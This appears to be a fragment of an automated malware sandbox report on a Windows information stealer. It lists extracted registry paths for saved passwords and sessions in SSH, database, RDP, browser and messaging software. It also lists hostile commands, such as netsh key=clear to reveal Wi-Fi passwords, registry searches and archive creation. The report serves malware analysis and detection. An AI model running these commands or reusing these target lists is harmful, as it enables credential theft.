"Software\Microsoft\Windows Messaging Subsystem\Profiles\9375CFF0413111d3B88A00104B2A6676" in Source: 00000000-00006516.00000002.130666.A150E000.00000002.mdmp "Software\Tencent\WeChat" in Source: 00000000-00006516.00000002.130666.A150E000.00000002.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00006516.00000002.130666.A150E000.00000002.mdmp "Software\Epic Games\EOS" in Source: 00000000-00006516.00000002.130666.A150E000.00000002.mdmp "Software\Electronic Arts\EA Desktop" in Source: 00000000-00006516.00000002.130666.A150E000.00000002.mdmp "Software\GOG.com\GalaxyClient\paths" in Source: 00000000-00006516.00000002.130666.A150E000.00000002.mdmp "BraveSoftware\Brave-Browser-Beta\User Data" in Source: 00000000-00006516.00000002.130666.A150E000.00000002.mdmp "BraveSoftware\Brave-Browser-Nightly\User Data" in Source: 00000000-00006516.00000002.130666.A150E000.00000002.mdmp "Opera Software\Opera Crypto Stable" in Source: 00000000-00006516.00000002.130666.A150E000.00000002.mdmp "Opera Software\Opera Crypto Developer" in Source: 00000000-00006516.00000002.130666.A150E000.00000002.mdmp "Opera Software\Opera Developer" in Source: 00000000-00006516.00000002.130666.A150E000.00000002.mdmp "Opera Software\Opera Next" in Source: 00000000-00006516.00000002.130666.A150E000.00000002.mdmp "AVAST Software\Browser\User Data" in Source: 00000000-00006516.00000002.130666.A150E000.00000002.mdmp "Software\Microsoft\Windows\CurrentVersion\Uninstall" in Source: 00000000-00006516.00000002.130666.A150E000.00000002.mdmp "Software\Mobatek\MobaXterm\Sessions" in Source: 00000000-00006516.00000002.130666.A150E000.00000002.mdmp "Software\Mobatek\MobaXterm\Passwords" in Source: 00000000-00006516.00000002.130666.A150E000.00000002.mdmp "Software\Mobatek\MobaXterm\Credentials" in Source: 00000000-00006516.00000002.130666.A150E000.00000002.mdmp "Software\Mobatek\MobaXterm\M" in Source: 00000000-00006516.00000002.130666.A150E000.00000002.mdmp "Software\SimonTatham\PuTTY\Sessions" in Source: 00000000-00006516.00000002.130666.A150E000.00000002.mdmp "Software\SimonTatham\PuTTY\Sessions\%s" in Source: 00000000-00006516.00000002.130666.A150E000.00000002.mdmp "Software\SimonTatham\PuTTY\SshHostKeys" in Source: 00000000-00006516.00000002.130666.A150E000.00000002.mdmp "Software\9bis.com\KiTTY\Sessions" in Source: 00000000-00006516.00000002.130666.A150E000.00000002.mdmp "Software\9bis.com\KiTTY\Sessions\%s" in Source: 00000000-00006516.00000002.130666.A150E000.00000002.mdmp "Software\PremiumSoft\Navicat\Servers" in Source: 00000000-00006516.00000002.130666.A150E000.00000002.mdmp "Software\PremiumSoft\NavicatPG\Servers" in Source: 00000000-00006516.00000002.130666.A150E000.00000002.mdmp "Software\PremiumSoft\NavicatMARIADB\Servers" in Source: 00000000-00006516.00000002.130666.A150E000.00000002.mdmp "Software\PremiumSoft\NavicatMONGODB\Servers" in Source: 00000000-00006516.00000002.130666.A150E000.00000002.mdmp "Software\PremiumSoft\NavicatMSSQL\Servers" in Source: 00000000-00006516.00000002.130666.A150E000.00000002.mdmp "Software\PremiumSoft\NavicatORA\Servers" in Source: 00000000-00006516.00000002.130666.A150E000.00000002.mdmp "Software\PremiumSoft\NavicatSQLite\Servers" in Source: 00000000-00006516.00000002.130666.A150E000.00000002.mdmp "Software\HeidiSQL\Servers" in Source: 00000000-00006516.00000002.130666.A150E000.00000002.mdmp "Software\HeidiSQL\Servers\%s" in Source: 00000000-00006516.00000002.130666.A150E000.00000002.mdmp "Software\Microsoft\Terminal Server Client\Default" in Source: 00000000-00006516.00000002.130666.A150E000.00000002.mdmp "Software\Microsoft\Terminal Server Client\Servers" in Source: 00000000-00006516.00000002.130666.A150E000.00000002.mdmp "Software\Microsoft\Terminal Server Client\Servers\%s" in Source: 00000000-00006516.00000002.130666.A150E000.00000002.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" in Source: 00000000-00006516.00000002.130666.A150E000.00000002.mdmp "SYSTEM\CurrentControlSet\Control\Terminal Server" in Source: 00000000-00006516.00000002.130666.A150E000.00000002.mdmp "SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" in Source: 00000000-00006516.00000002.130666.A150E000.00000002.mdmp "SYSTEM\CurrentControlSet\Control\Lsa" in Source: 00000000-00006516.00000002.130666.A150E000.00000002.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" in Source: 00000000-00006516.00000002.130666.A150E000.00000002.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" in Source: 00000000-00006516.00000002.130666.A150E000.00000002.mdmp "HKCU\Run" in Source: 00000000-00006516.00000002.130666.A150E000.00000002.mdmp "HKLM\Run" in Source: 00000000-00006516.00000002.130666.A150E000.00000002.mdmp "HKCU\RunOnce" in Source: 00000000-00006516.00000002.130666.A150E000.00000002.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce" in Source: 00000000-00006516.00000002.130666.A150E000.00000002.mdmp "HKLM\RunOnce" in Source: 00000000-00006516.00000002.130666.A150E000.00000002.mdmp "HKCU\Policies\Run" in Source: 00000000-00006516.00000002.130666.A150E000.00000002.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run" in Source: 00000000-00006516.00000002.130666.A150E000.00000002.mdmp "HKLM\Policies\Run" in Source: 00000000-00006516.00000002.130666.A150E000.00000002.mdmp "HKLM\Run (32-bit)" in Source: 00000000-00006516.00000002.130666.A150E000.00000002.mdmp "SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run" in Source: 00000000-00006516.00000002.130666.A150E000.00000002.mdmp "HKCU\Run (Disabled)" in Source: 00000000-00006516.00000002.130666.A150E000.00000002.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" in Source: 00000000-00006516.00000002.130666.A150E000.00000002.mdmp "HKLM\Run (Disabled)" in Source: 00000000-00006516.00000002.130666.A150E000.00000002.mdmp "SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" in Source: 00000000-00006516.00000002.130666.A150E000.00000002.mdmp "SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes" in Source: 00000000-00006516.00000002.130666.A150E000.00000002.mdmp "SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" in Source: 00000000-00006516.00000002.130666.A150E000.00000002.mdmp "SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions" in Source: 00000000-00006516.00000002.130666.A150E000.00000002.mdmp "Software\Microsoft\Windows\CurrentVersion\Policies\System" in Source: 00000000-00006516.00000002.130666.A150E000.00000002.mdmp "SOFTWARE\Policies\Microsoft\Windows\System" in Source: 00000000-00006516.00000002.130666.A150E000.00000002.mdmp "Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" in Source: 00000000-00006516.00000002.130666.A150E000.00000002.mdmp "System\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile" in Source: 00000000-00006516.00000002.130666.A150E000.00000002.mdmp "SOFTWARE\Policies\Microsoft\Windows\WinRE" in Source: 00000000-00006516.00000002.130666.A150E000.00000002.mdmp "SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU" in Source: 00000000-00006516.00000002.130666.A150E000.00000002.mdmp "SYSTEM\CurrentControlSet\Services\USBSTOR" in Source: 00000000-00006516.00000002.130666.A150E000.00000002.mdmp "SOFTWARE\Policies\Google\Chrome" in Source: 00000000-00006516.00000002.130666.A150E000.00000002.mdmp "SOFTWARE\Policies\Microsoft\Edge" in Source: 00000000-00006516.00000002.130666.A150E000.00000002.mdmp "Software\Microsoft\Windows\CurrentVersion\Run" in Source: 00000000-00006516.00000002.130666.A150E000.00000002.mdmp "SYSTEM\CurrentControlSet\Control\Session Manager" in Source: 00000000-00006516.00000002.130666.A150E000.00000002.mdmp50:T685,Process nul && netsh wlan show profiles > "%s"" (Indicator: "chcp"; File: "1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin") Found string "cmd.exe /c chcp 65001 >nul && netsh wlan show profile name="%s" key=clear > "%s"" (Indicator: "chcp"; File: "1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin") Found string "SystemInfo" (Indicator: "systeminfo"; File: "1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin") Found string "reg query "%s" /s /f "%s"" (Indicator: "reg query"; File: "1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin") Found string "reg query HKCU /s /f "%s"" (Indicator: "reg query"; File: "1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin") file/memory contains long string with (Indicator: "arp -a"; File: "1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin") file/memory contains long string with (Indicator: "ipconfig"; File: "1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin") file/memory contains long string with (Indicator: "ipconfig /all"; File: "1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin") file/memory contains long string with (Indicator: "net user"; File: "1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin") file/memory contains long string with (Indicator: "netstat"; File: "1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin") file/memory contains long string with (Indicator: "route"; File: "1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin") file/memory contains long string with (Indicator: "route print"; File: "1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin") file/memory contains long string with (Indicator: "sc query"; File: "1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin") file/memory contains long string with (Indicator: "systeminfo"; File: "1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin") Found string "cmd.exe /C "netstat -ano > "%s" 2>&1"" (Indicator: "netstat"; File: "1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin") Found string "HostName" (Indicator: "hostname"; Source: "00000000-00006516.00000002.130666.A150E000.00000002.mdmp") Found string "cmd.exe /c chcp 65001 >nul && netsh wlan show profiles > "%s"" (Indicator: "chcp"; Source: "00000000-00006516.00000002.130666.A150E000.00000002.mdmp") Found string "cmd.exe /c chcp 65001 >nul && netsh wlan show profile name="%s" key=clear > "%s"" (Indicator: "chcp"; Source: "00000000-00006516.00000002.130666.A150E000.00000002.mdmp") Found string "SystemInfo" (Indicator: "systeminfo"; Source: "00000000-00006516.00000002.130666.A150E000.00000002.mdmp") Found string "ping 127.0.0.1 -n 3 >nul" (Indicator: "ping"; Source: "00000000-00006516.00000002.130666.A150E000.00000002.mdmp") Found string "reg query "%s" /s /f "%s"" (Indicator: "reg query"; Source: "00000000-00006516.00000002.130666.A150E000.00000002.mdmp") Found string "reg query HKCU /s /f "%s"" (Indicator: "reg query"; Source: "00000000-00006516.00000002.130666.A150E000.00000002.mdmp") file/memory contains long string with (Indicator: "arp -a"; Source: "00000000-00006516.00000002.130666.A150E000.00000002.mdmp") file/memory contains long string with (Indicator: "ipconfig"; Source: "00000000-00006516.00000002.130666.A150E000.00000002.mdmp") file/memory contains long string with (Indicator: "ipconfig /all"; Source: "00000000-00006516.00000002.130666.A150E000.00000002.mdmp") file/memory contains long string with (Indicator: "net user"; Source: "00000000-00006516.00000002.130666.A150E000.00000002.mdmp") file/memory contains long string with (Indicator: "netstat"; Source: "00000000-00006516.00000002.130666.A150E000.00000002.mdmp") file/memory contains long string with (Indicator: "route"; Source: "00000000-00006516.00000002.130666.A150E000.00000002.mdmp") file/memory contains long string with (Indicator: "route print"; Source: "00000000-00006516.00000002.130666.A150E000.00000002.mdmp") file/memory contains long string with (Indicator: "sc query"; Source: "00000000-00006516.00000002.130666.A150E000.00000002.mdmp") file/memory contains long string with (Indicator: "systeminfo"; Source: "00000000-00006516.00000002.130666.A150E000.00000002.mdmp") Found string "cmd.exe /C "netstat -ano > "%s" 2>&1"" (Indicator: "netstat"; Source: "00000000-00006516.00000002.130666.A150E000.00000002.mdmp")6f:T896,Found string "C:\Windows\System32\drivers\etc\hosts" (Indicator: "\drivers\"; File: "1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin") Found string "C:\Windows\System32\drivers\etc\hosts" (Indicator: "system32\drivers"; File: "1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin") Found string ":\WINDOWS\system32\DRIVERS" (Indicator: "system32\drivers"; Source: "00000000-00001716.00000000.127245.A2B80000.00000004.mdmp") Found string "\Device\HarddiskVolume2\Windows\System32\netsh.exe" (Indicator: "\Device\"; Source: "00000000-00001716.00000000.127245.A2B80000.00000004.mdmp") Found string "\Device\HarddiskVolume2\DosDevices\C:\??\Volume{815ead30-0000-0000-0000-501f00000000}>" (Indicator: "\Device\"; Source: "00000000-00001716.00000000.127245.A2B80000.00000004.mdmp") Found string "\Device\HarddiskVolume2\DosDevices\C:\??\Volume{815ead30-0000-0000-0000-501f00000000}>" (Indicator: "\DosDevices\"; Source: "00000000-00001716.00000000.127245.A2B80000.00000004.mdmp") Found string ":\WINDOWS\system32\DRIVERS" (Indicator: "system32\drivers"; Source: "00000000-00004448.00000000.126923.BF960000.00000004.mdmp") Found string "\Device\HarddiskVolume2\Windows\System32\netsh.exe" (Indicator: "\Device\"; Source: "00000000-00004448.00000000.126923.BF960000.00000004.mdmp") Found string "\Device\HarddiskVolume2\1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin.exe" (Indicator: "\Device\"; Source: "00000000-00006516.00000000.126823.C4040000.00000004.mdmp, 00000000-00006516.00000001.128744.C4040000.00000004.mdmp, 00000000-00006516.00000002.130666.C4040000.00000004.mdmp") Found string ":\WINDOWS\system32\DRIVERS" (Indicator: "system32\drivers"; Source: "00000000-00006516.00000000.126823.C4040000.00000004.mdmp, 00000000-00006516.00000001.128744.C4040000.00000004.mdmp, 00000000-00006516.00000002.130666.C4040000.00000004.mdmp") Found string "C:\Windows\System32\drivers\etc\hosts" (Indicator: "\drivers\"; Source: "00000000-00006516.00000002.130666.A150E000.00000002.mdmp") Found string "C:\Windows\System32\drivers\etc\hosts" (Indicator: "system32\drivers"; Source: "00000000-00006516.00000002.130666.A150E000.00000002.mdmp")70:T496,Found reference to API "SetWindowsHookExA" (Indicator: "SetWindowsHook"; File: "1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin") Found reference to API "SetWindowsHookExW" (Indicator: "SetWindowsHook"; File: "1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin") Found reference to API "CallNextHookEx" (Indicator: "CallNextHook"; File: "1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin") Found reference to API "UnhookWindowsHookEx" (Indicator: "UnhookWindowsHook"; File: "1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin") Found reference to API "SetWindowsHookExW" (Indicator: "SetWindowsHook"; Source: "00000000-00006516.00000002.130666.A150E000.00000002.mdmp") Found reference to API "UnhookWindowsHookEx" (Indicator: "UnhookWindowsHook"; Source: "00000000-00006516.00000002.130666.A150E000.00000002.mdmp") Found reference to API "SetWindowsHookExA" (Indicator: "SetWindowsHook"; Source: "00000000-00006516.00000002.130666.A150E000.00000002.mdmp") Found reference to API "CallNextHookEx" (Indicator: "CallNextHook"; Source: "00000000-00006516.00000002.130666.A150E000.00000002.mdmp")71:T56b,Found reference to API "CheckTokenMembership" (Indicator: "CheckTokenMembership"; File: "1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin") Found reference to API "AdjustTokenPrivileges" (Indicator: "AdjustTokenPrivileges"; File: "1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin") Found reference to API "LookupPrivilegeValueA" (Indicator: "LookupPrivilegeValue"; File: "1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin") Found reference to API "SeDebugPrivilege" (Indicator: "SeDebugPrivilege"; File: "1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin") Found reference to API "CheckTokenMembership" (Indicator: "CheckTokenMembership"; Source: "00000000-00001716.00000000.127245.9F56B000.00000002.mdmp") Found reference to API "SeDebugPrivilege" (Indicator: "SeDebugPrivilege"; Source: "00000000-00006516.00000002.130666.A150E000.00000002.mdmp") Found reference to API "CheckTokenMembership" (Indicator: "CheckTokenMembership"; Source: "00000000-00006516.00000002.130666.A150E000.00000002.mdmp") Found reference to API "LookupPrivilegeValueA" (Indicator: "LookupPrivilegeValue"; Source: "00000000-00006516.00000002.130666.A150E000.00000002.mdmp") Found reference to API "AdjustTokenPrivileges" (Indicator: "AdjustTokenPrivileges"; Source: "00000000-00006516.00000002.130666.A150E000.00000002.mdmp")72:T543,Found reference to API "FreeSid" (Indicator: "FreeSid"; File: "1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; File: "1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin") Found reference to API "AllocateAndInitializeSid" (Indicator: "AllocateAndInitializeSid"; File: "1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin") Found reference to API "AllocateAndInitializeSid" (Indicator: "InitializeSid"; File: "1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin") Found reference to API "CreateWellKnownSid" (Indicator: "CreateWellKnownSid"; Source: "00000000-00001716.00000000.127245.9F56B000.00000002.mdmp") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; Source: "00000000-00006516.00000002.130666.A150E000.00000002.mdmp") Found reference to API "FreeSid" (Indicator: "FreeSid"; Source: "00000000-00006516.00000002.130666.A150E000.00000002.mdmp") Found reference to API "AllocateAndInitializeSid" (Indicator: "AllocateAndInitializeSid"; Source: "00000000-00006516.00000002.130666.A150E000.00000002.mdmp") Found reference to API "AllocateAndInitializeSid" (Indicator: "InitializeSid"; Source: "00000000-00006516.00000002.130666.A150E000.00000002.mdmp")73:T405,Observed import api "AllocateAndInitializeSid" which can "allocate and initialize a security identifier (SID) with up to eight subauthorities" [Source: 1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin] Observed import api "CheckTokenMembership" which can "determine whether a specified security identifier (SID) is enabled in an access token" [Source: 1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin] Observed import api "FreeSid" which can "free a security identifier (SID) previously allocated by using the AllocateAndInitializeSid function" [Source: 1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin] Observed import api "GetTokenInformation" which can "retrieve a specified type of information about an access token" [Source: 1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin] Observed import api "InitializeSid" which can "initialize a security identifier (SID)" [Source: 1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin]74:Ta14," \"%s\"\"\" (Indicator: \"ConvertTo-CSV\"; File: \"1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin\")\n Found string \"cmd.exe /C \"powershell -NoProfile -Command \"Get-Volume | Select-Object DriveLetter,FileSystemLabel,FileSystem,DriveType,HealthStatus,SizeRemaining,Size | ConvertTo-Csv -NoTypeInformation\" > \"%s\"\"\" (Indicator: \"ConvertTo-CSV\"; Source: \"00000000-00006516.00000002.130666.A150E000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1565","relevance":1,"id":"string-366","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to modify registry key/value (API string)","description":"Found reference to API \"RegSetValueExW\" (Indicator: \"RegSetValue\"; File: \"1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin\")\n Found reference to API \"RegSetValueExA\" (Indicator: \"RegSetValue\"; File: \"1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin\")\n Found reference to API \"RegSetValueExW\" (Indicator: \"RegSetValue\"; Source: \"00000000-00001716.00000000.127245.9F56B000.00000002.mdmp\")\n Found reference to API \"RegSetValueExA\" (Indicator: \"RegSetValue\"; Source: \"00000000-00006516.00000002.130666.A150E000.00000002.mdmp\")\n Found reference to API \"RegSetValueExW\" (Indicator: \"RegSetValue\"; Source: \"00000000-00006516.00000002.130666.A150E000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-304","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to modify system service (API string)","description":"$2b","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-192","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to open a service (API string)","description":"Found reference to API \"OpenServiceA\" (Indicator: \"OpenService\"; File: \"1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin\")\n Found reference to API \"OpenServiceA\" (Indicator: \"OpenService\"; Source: \"00000000-00006516.00000002.130666.A150E000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1569.002","relevance":1,"id":"string-544","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to unmap view of a section from a process (API string)","description":"Found reference to API \"ZwUnmapViewOfSection\" (Indicator: \"UnmapViewOfSection\"; File: \"1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin\")\n Found reference to API \"NtUnmapViewOfSection\" (Indicator: \"UnmapViewOfSection\"; File: \"1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin\")\n Found reference to API \"ZwUnmapViewOfSection\" (Indicator: \"UnmapViewOfSection\"; Source: \"00000000-00006516.00000002.130666.A150E000.00000002.mdmp\")\n Found reference to API \"NtUnmapViewOfSection\" (Indicator: \"UnmapViewOfSection\"; Source: \"00000000-00006516.00000002.130666.A150E000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055.012","relevance":1,"id":"string-90","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains strings related to AMSI (Anti Malware Scan Interface)","description":"$2c","origin":"File/Memory","mitre_attack_id":"T1562.001","relevance":1,"id":"string-231","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Observed a high volume of repeated registry API calls (API Hammering)","description":"$2d","origin":"Registry Access","mitre_attack_id":"T1497","relevance":7,"id":"registry-215","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Queries process information","description":"$2e","origin":"API Call","mitre_attack_id":"T1057","relevance":4,"id":"api-9","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to block user input (API string)","description":"Found reference to API \"BlockInput\" (Indicator: \"BlockInput\"; File: \"1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin\")\n Found reference to API \"BlockInput\" (Indicator: \"BlockInput\"; Source: \"00000000-00006516.00000002.130666.A150E000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1562.001","relevance":1,"id":"string-547","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to check debugger is running (API string)","description":"$2f","origin":"File/Memory","mitre_attack_id":"T1622","relevance":1,"id":"string-183","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"Contains ability to register a top-level exception handler (API string)","description":"Found reference to API \"UnhandledExceptionFilter\" (Indicator: \"UnhandledExceptionFilter\"; File: \"1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin\")\n Found reference to API \"SetUnhandledExceptionFilter\" (Indicator: \"SetUnhandledExceptionFilter\"; File: \"1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin\")\n Found reference to API \"SetUnhandledExceptionFilter\" (Indicator: \"UnhandledExceptionFilter\"; File: \"1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin\")","origin":"File/Memory","mitre_attack_id":"T1622","relevance":1,"id":"string-148","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to access crypto-related API (String)","description":"Found reference to API \"CryptUnprotectData\" (Indicator: \"CryptUnprotectData\"; File: \"1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin\")\n Found reference to API \"CryptUnprotectData\" (Indicator: \"CryptUnprotectData\"; Source: \"00000000-00006516.00000002.130666.A150E000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1486","relevance":1,"id":"string-920","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to compress file/directory using PowerShell cmdlet","description":"Found string \"powershell -NoProfile -Command \"Compress-Archive -Path %s -DestinationPath '%s' -Force\"\" (File: \"1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin\")\n Found string \"powershell -NoProfile -Command \"Compress-Archive -Path %s -DestinationPath '%s' -Force\"\" (Source: \"00000000-00006516.00000002.130666.A150E000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1560","relevance":1,"id":"string-656","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to use Microsoft's Enhanced Cryptographic Provider","description":"$30","origin":"File/Memory","mitre_attack_id":"T1573","relevance":1,"id":"string-602","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"Cryptographic Related","name":"Able to utilize the Windows bcrypt cryptographic API","description":"$31","origin":"File/Memory","mitre_attack_id":"T1027","relevance":1,"id":"string-927","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains XOR operation loops [Stream disassembly]","description":"$32","origin":"Hybrid Analysis Technology","mitre_attack_id":"T1027.005","id":"stream-139","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to encrypt/encode message (API string)","description":"Found reference to API \"CryptStringToBinaryA\" (Indicator: \"CryptStringToBinary\"; File: \"1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin\")\n Found reference to API \"CryptStringToBinaryA\" (Indicator: \"CryptStringToBinary\"; Source: \"00000000-00006516.00000002.130666.A150E000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":1,"id":"string-213","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform AES/RC4 encryption (API string)","description":"$33","origin":"File/Memory","mitre_attack_id":"T1027","relevance":3,"id":"string-438","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform decryption (API string)","description":"Found reference to API \"CryptUnprotectData\" (Indicator: \"CryptUnprotectData\"; File: \"1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin\")\n Found reference to API \"BCryptDecrypt\" (Indicator: \"BCryptDecrypt\"; File: \"1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin\")\n Found reference to API \"BCryptDecrypt\" (Indicator: \"CryptDecrypt\"; File: \"1d35ce5483a2ee834ab05a08c08d482244e3e15d2d371a1308cb74d6428a4215.bin\")\n Found reference to API \"BCryptDecrypt\" (Indicator: \"BCryptDecrypt\"; Source: \"00000000-00006516.00000002.130666.A150E000.00000002.mdmp\")\n Found reference to API \"BCryptDecrypt\" (Indicator: \"CryptDecrypt\"; Source: \"00000000-00006516.00000002.130666.A150E000.00000002.mdmp\")\n Found reference to API \"CryptUnprotectData\" (Indicator: \"CryptUnprotectData\"; Source: \"00000000-00006516.00000002.130666.A150E000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1140","relevance":1,"id":"string-212","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains key cryptographic functions (API string)","description":"$34","origin":"File/Memory","mitre_attack_id":"T1027","relevance":1,"id":"string-195","sources":[{"report_type":"sandbox","report_id":"69ea11494ed5c666510ec96d"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains reference to crypto DLLs","description":"Found string \"%s\\mozglue.dll\" (Indicator: 